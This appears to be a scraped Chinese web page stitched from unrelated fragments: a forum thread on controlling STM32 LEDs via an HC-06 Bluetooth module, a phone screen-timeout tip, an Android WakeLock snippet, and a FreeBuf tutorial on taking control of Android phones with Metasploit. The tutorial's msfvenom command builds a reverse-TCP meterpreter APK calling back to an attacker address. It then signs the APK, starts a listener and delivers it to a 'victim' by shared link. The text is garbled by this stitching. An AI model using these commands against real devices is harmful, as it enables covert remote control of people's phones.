app 控制手机时间亮时控制

使用蓝牙例程如何利用手机控制单片机进而控制灯的亮灭? - OpenEdv-开源电子网 - Powered by Discuz!
OpenEdv-开源电子网
标题: 使用蓝牙例程如何利用手机控制单片机进而控制灯的亮灭?
作者: a& & 时间:
标题: 使用蓝牙例程如何利用手机控制单片机进而控制灯的亮灭?
各位,我使用的是miniSTM32的蓝牙拓展例程,按照官方PDF和视频的连接方式连接了蓝牙模块,我用的是HC-06。
下载例程之后发现手机能和上位机通信,但是不能控制板子上的DS1亮灭。
因为感觉没有通过单片机,我尝试了板子上面RXTX连接(没有通过单片机)还有PA9PA10的连接,发现都控制不了板子上的灯。
求助,我还因该做什么修改呢?
作者: 迷恋烟花的瞬间& & 时间:
先要把你的串口2调试好啊,能收能发,另外我用的测试软件是安卓手机的蓝牙SPP,还不行的话,加我扣扣
作者: a& & 时间:
这是蓝牙的连接图片,个人不是很清楚HC06和HC05的区别,是这个例程不能适用吗?
(698.39 KB, 下载次数: 158)
13:29 上传
这是蓝牙的连接图
作者: jermy_z& & 时间:
自己debug看看吧,
作者: 迷恋烟花的瞬间& & 时间:
HC06只要串口程序就够了
UART3_Send_Str(&AT+VERSION&);& & & & & & & & //发送AT指令
//& & & & LED0=LED1=LED2=0;
& & & & while(1)
& & & & {& & & & & & & &
& & & & & & & & KEY_Scan(0);
& & & & & & & & key=keydown_
& & & & & & & & & & & & & & & &
& & & & & & & &
& & & & & & & & & & & &
& & & & & & & & if(USART3_RX_STA&0X8000)& & & & & & & & & & & & //接收到一次数据
& & & & & & & & {
& & & & & & & & & & & & LCD_Fill(30,200,240,250,YELLOW);& & & & //清除显示
& & & & & & & & & & & & reclen=USART3_RX_STA&0X7FFF;& & & & //得到数据长度
& & & & & & & && &USART3_RX_BUF[reclen]=0;& & & &&&& & & & //加入结束符
& & & & & & & & & & & & if(reclen==9||reclen==8) & & & & & & & & //??DS1??
& & & & & & & & & & & & {
& & & & & & & & & & & & & & & & if(strcmp((const char*)USART3_RX_BUF,&+LED0 ON&)==0)LED0=0;& & & & //点亮LED0
& & & & & & & & & & & & & & & & if(strcmp((const char*)USART3_RX_BUF,&+LED0 OFF&)==0)LED0=1;//熄灭LED0
& & & & & & & & & & & & & & & &
& & & & & & & & & & & & & & & & if(strcmp((const char*)USART3_RX_BUF,&+LED1 ON&)==0)LED1=0;& & & & //点亮LED1
& & & & & & & & & & & & & & & & if(strcmp((const char*)USART3_RX_BUF,&+LED1 OFF&)==0)LED1=1;//熄灭LED1
& & & & & & & & & & & & & & & &
& & & & & & & & & & & & & & & & if(strcmp((const char*)USART3_RX_BUF,&+LED2 ON&)==0)LED2=0;& & & & //点亮LED2
& & & & & & & & & & & & & & & & if(strcmp((const char*)USART3_RX_BUF,&+LED2 OFF&)==0)LED2=1;//熄灭LED2
& & & & & & & & & & & & }
& & & & & & & & & & & & LCD_ShowString(30,200,209,119,16,USART3_RX_BUF);//显示接收到的数据
& & & & & & & & & & & & printf(&%s\r\n&,USART3_RX_BUF);
& & & & & & & & & & & & USART3_RX_STA=0;& & & &&&
& & & & & & & & }& & & &&&& & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & && && && & & & & & & & & & & & & & & && &
& & & & & & & & & & & &
& & & & }& & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & &
HC06只是个从模块,只可以接收,没有连接时是AT模式,连接上就是透传模式
作者: & & 时间:
帮顶。。。。。。。
作者: a& & 时间:
HC06只要串口程序就够了
UART3_Send_Str(&AT+VERSION&);& & & & & & & & //发送AT指令
//& & & & LED0=LED1=LED2=0;
这是主函数里面的吗?还有就是硬件连接没有 特别的要求吗
作者: 迷恋烟花的瞬间& & 时间:
是的,这个是main函数里的,HC06模块只用4根引脚VCC GND RXD TXD
作者: 迷恋烟花的瞬间& & 时间:
获取AT 指令版本命令:AT+VERSION,写这句主要是检测一下模块是否正常,进入main函数发送AT指令,串口就会接收到蓝牙的版本号,如果确认正常了,这句都可以不写,都是用默认的就可以了
作者: a& & 时间:
是的,这个是main函数里的,HC06模块只用4根引脚VCC GND RXD TXD
#include &led.h&
#include &delay.h&
#include &sys.h&
#include &usart.h&
#include &lcd.h&
#include &hc05.h&
#include &usart2.h&& & & & & & & & & & & &&&& & & &&&
#include &string.h&& & & &&&
#include &key.h&
& & & & & & & && &
int main(void)
{& & & &&&
& & & & u8
& & & & u8
& & & & u8 sendmask=0;
& & & & u8 sendcnt=0;
& & & & u8 sendbuf[20];& & & && &
& & & & u8 reclen=0;&&
& & & & delay_init();& & & && &&&& & & &&&//延时函数初始化& & & && &
& & & & NVIC_Configuration(); & & & &&&//设置NVIC中断分组2:2位抢占优先级,2位响应优先级
& & & & uart_init(9600);& & & &&&& & & & //串口初始化为9600
& & & & USART2_Init(9600);
& & & & LED_Init();& & & & & & & & & & & & & & & & //初始化与LED连接的硬件接口
& & & && &
//& && &&&LED0=LED1=LED2=0;
& && &&&while(1)
& && &&&{& && && && && &
& && && && && && && && && && &&&
& && && && && &
& && && && && && && && &
& && && && && & if(USART2_RX_STA&0X8000)& && && && && && && && &//接收到一次数据
& && && && && & {
& && && && && && && && &LCD_Fill(30,200,240,250,YELLOW);& && &&&//清除显示
& && && && && && && && &reclen=USART2_RX_STA&0X7FFF;& && &&&//得到数据长度
& && && && && && &USART2_RX_BUF[reclen]=0;& && && && && &&&//加入结束符
& && && && && && && && &if(reclen==9||reclen==8)& && && && && &&&//??DS1??
& && && && && && && && &{
& && && && && && && && && && &&&if(strcmp((const char*)USART2_RX_BUF,&+LED0 ON&)==0)LED0=0;& && &&&//点亮LED0
& && && && && && && && && && &&&if(strcmp((const char*)USART2_RX_BUF,&+LED0 OFF&)==0)LED0=1;//熄灭LED0
& && && && && && && && && && &&&
& && && && && && && && && && &&&if(strcmp((const char*)USART2_RX_BUF,&+LED1 ON&)==0)LED1=0;& && &&&//点亮LED1
& && && && && && && && && && &&&if(strcmp((const char*)USART2_RX_BUF,&+LED1 OFF&)==0)LED1=1;//熄灭LED1
& && && && && && && && && && &&&
& && && && && && && && &}
& & & & //& & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & LED0=0; //LED0输出低
& & & & //& & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & & LED1=1;//LED1输出高
& && && && && && && && &USART2_RX_STA=0;& && && &
& && && && && & }& && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && &
& && && && && && && && &
& && &&&}& & & & & & & && &&&
请问这个简单程序还有什么BUG吗,为什么就是控制不了灯啊。。我把灯直接点亮都不行,这个程序哪里配置不正确呢?我是小白,求教万分谢谢
作者: a& & 时间:
先要把你的串口2调试好啊,能收能发,另外我用的测试软件是安卓手机的蓝牙SPP,还不行的话,加我扣扣2253638 ...
成功了谢谢,问题出在我把串口引脚接错了。以前没用过STM32,以后要好好学习了
作者: 求索者& & 时间:
帮顶。。。。。。。
作者: 王维鋆& & 时间:
成功了谢谢,问题出在我把串口引脚接错了。以前没用过STM32,以后要好好学习了
楼主 你这个历程其他都没改吗
欢迎光临 OpenEdv-开源电子网 (/)
Powered by Discuz! X3.2分享给朋友:手机蓝牙通过单片机控制LED亮灭下载至电脑扫码用手机看用或微信扫码在手机上继续观看二维码2小时内有效手机蓝牙通过单片机控制LED亮灭扫码用手机继续看用或微信扫码在手机上继续观看二维码2小时内有效,扫码后可分享给好友没有优酷APP?立即下载请根据您的设备选择下载版本
药品服务许可证(京)-经营- 请使用者仔细阅读优酷、、、Copyright(C)2017 优酷
版权所有不良信息举报电话:y29l屏幕亮的时间短,一会就自动暗下来,怎么办
来自 vivo乐园
本帖最后由 TVVT 于
22:12 编辑
红红999 发表于
y29l屏幕亮的时间短,一会就自动暗下来,怎么办设置――智能体感――智能亮屏
032.jpg (23.7 KB, 下载次数: 15)
22:10 上传
或设置锁屏时间
设置――更多设置(通用)――自动锁屏
159.jpg (36.71 KB, 下载次数: 14)
22:12 上传
神马都是浮云
来自 vivo乐园
TVVT 发表于
设置――智能体感――智能亮屏
来自 vivo乐园
TVVT 发表于
设置――智能体感――智能亮屏
来自 vivo乐园
xinyin158 发表于
姐,写一个用手机上传原图的教程帖呗
来自 vivo乐园
您好,您可以参考沙发的解答哦。
感谢您的支持,祝您生活愉快。
来自 社区电脑版
来自 vivo Y31
24小时全国服务热线
400-678-9688
公众号:vivo智能手机
生活号:vivo智能手机
公众号:vivo智能手机
生活号:vivo智能手机
保存二维码博客分类:
在Activity的onCreate()中:
PowerManager pm = (PowerManager) getSystemService(Context.POWER_SERVICE);
PowerManager.WakeLock mWakeLock = pm.newWakeLock(PowerManager.SCREEN_DIM_WAKE_LOCK, "My Tag");
// onResume() 中调用:
mWakeLock.acquire();
onPause() 中调用释放WakeLock对象
mWakeLock.release();
use the window flag FLAG_KEEP_SCREEN_ON
protected void onCreate(Bundle icicle) {
super.onCreate(icicle);
getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);
ldci3gandroid
浏览: 295610 次
来自: 北京
这样用就好啦!!!&Button
楼主你好,如果你的代码需要实现的是回显功能,需要在MainCl ...
在item布局中要是引用到自定的东西,item就会显示不全
很好,学习了。
(window.slotbydup=window.slotbydup || []).push({
id: '4773203',
container: s,
size: '200,200',
display: 'inlay-fix'技术分享:如何使用Metasploit对安卓手机进行控制 -
| 关注黑客与极客
技术分享:如何使用Metasploit对安卓手机进行控制
共599382人围观
,发现 26 个不明物体
文章内容可能具有一定攻击性,本文仅供技术交流,如有非法使用后果自负。
在这次的实验中,我会使用kali&linux和安卓模拟器演示如何使用Metasploit框架控制Android设备。
我们需要两台虚拟机:Kali&Linux和安卓模拟器。
打开vm启动Kali&linux。接着打开终端,使用msfvenom制作android利用程序。
Msfvenom是msfpayload和msfencode的组合。它是一个单一的工具。它有标准的命令行选项。&Msfvenom用来制造的有效载荷用来渗透Android模拟器。
一旦打开终端提示符下输入以下命令,使用msfvenom工具来创建有效载荷APK文件。
```msfvenom&-p&android/meterpreter/reverse_tcp&LHOST=192.168.1128&LPORT=4444&R&&&/root/Desktop/pentest.apk```
p&设置要使用的payload
LHOST&设置用来接收反弹连接的主机
LPORT&设置用来接收反弹连接的端口
R&设置文件格式
Location&要保存的文件位置
这个命令执行完之后,你会看到一些错误,但不用担心。现在可以到输出目录查看生成的apk了。
我们已经成功创建了Android格式(APK)文件的有效载荷。现在一般Android的移动设备不允许安装没有适当签名证书的应用程序。&Android设备只安装带有签署文件的APK。
我们可以使用如下工具进行手动签名:
l&Keytool&(已安装)
l&jar&signer&(已安装)
l&zipalign&(需要安装)
执行下列命令签名。首先使用密钥工具创建密钥库。
keytool&-genkey&-v&-keystore&my-release-key.Keystore&-alias&alias_name&-keyalg&RSA&-keysize&2048&-validity&10000
然后使用JARsigner签名APK
jarsigner&-verbose&-sigalg&SHA1withRSA&-digestalg&SHA1&-keystore&my-release-key.Keystore&APPNAME.apk&aliasname`&
再用JARsigner验证签名
jarsigner&-verify&-verbose&-certs&APPNAME.apk
Kali没有预装Zipalign,需要先apt-get&install&zipalign。然后用zipalign来验证apk。
zipalign&-v&4&APPNAME.apk&NEWAPPNAME.apk
现在我们有了一个带有签名的APK,它可以安装在任何设备上。
使用Metasploit进行测试
接下来启动metasploit的监听器。执行msfconsole打开控制台。
use&exploit/multi/handlerSet&PAYLOAD&android/meterpreter/reverse_tcpSET&LHOST&192.168.152.128SET&LPORT&4444Exploit
是时候将恶意的APK发送到手机上。我们这里使用一个网盘上传我们的APK,并将下载链接分享出去。
这是我们切换到安卓模拟器。
1、从下载android&x86的iso。2、使用vmware创建一个内核版本为2.6的虚拟机。3、挂载镜像,启动虚拟机。4、进入Live模式。5、设置手机并登陆谷歌帐号。
在安卓模拟器里面点击那个链接并下载。我们已经发送了一封邮件到受害者的谷歌帐号上。
另外要允许安卓安装来历不明的apk。
切换回Kali,我们发现创建了一个新的会话。
然后你就可以为所欲为的操作这台“手机”了。
*参考来源:
,FB小编东二门陈冠希编译,转载请注明来自FreeBuf黑客与极客()
然后呢?有没有更高(wei)级(suo)的玩法?
这个tor怎么用
msf的用法 :mrgreen:
请问在Kali中进行签名的时候显示无法打开jar,目前百度的资料上均是在Windows情况下的,并且我也尝试将apk放到java的bin文件夹中,可是依旧是显示无法打开jar文件。请问您是如何解决这个问题的呢。
奔跑的蚂蚁
@ 蔬菜灬蘸酱
使用java -jar 运行jar包
两处小错误1.msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1128 LPORT=4444 R & /root/Desktop/pentest.apkip少了个点2.jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.Keystore APPNAME.apk aliasname最后应该是alias_name,少了个下划线ps.安卓4.4、5.1、6.0的模拟器:/a/android-x86.org/web/releases/releasenote-4-4-r5apk安装完以后有个图标,得想办法隐藏。
必须您当前尚未登录。
必须(保密)
再看我就把你吃掉!
关注我们 分享每日精选文章}

我要回帖

更多关于 控制用手机时间软件 的文章

更多推荐

版权声明:文章内容来源于网络,版权归原作者所有,如有侵权请点击这里与我们联系,我们将及时删除。

点击添加站长微信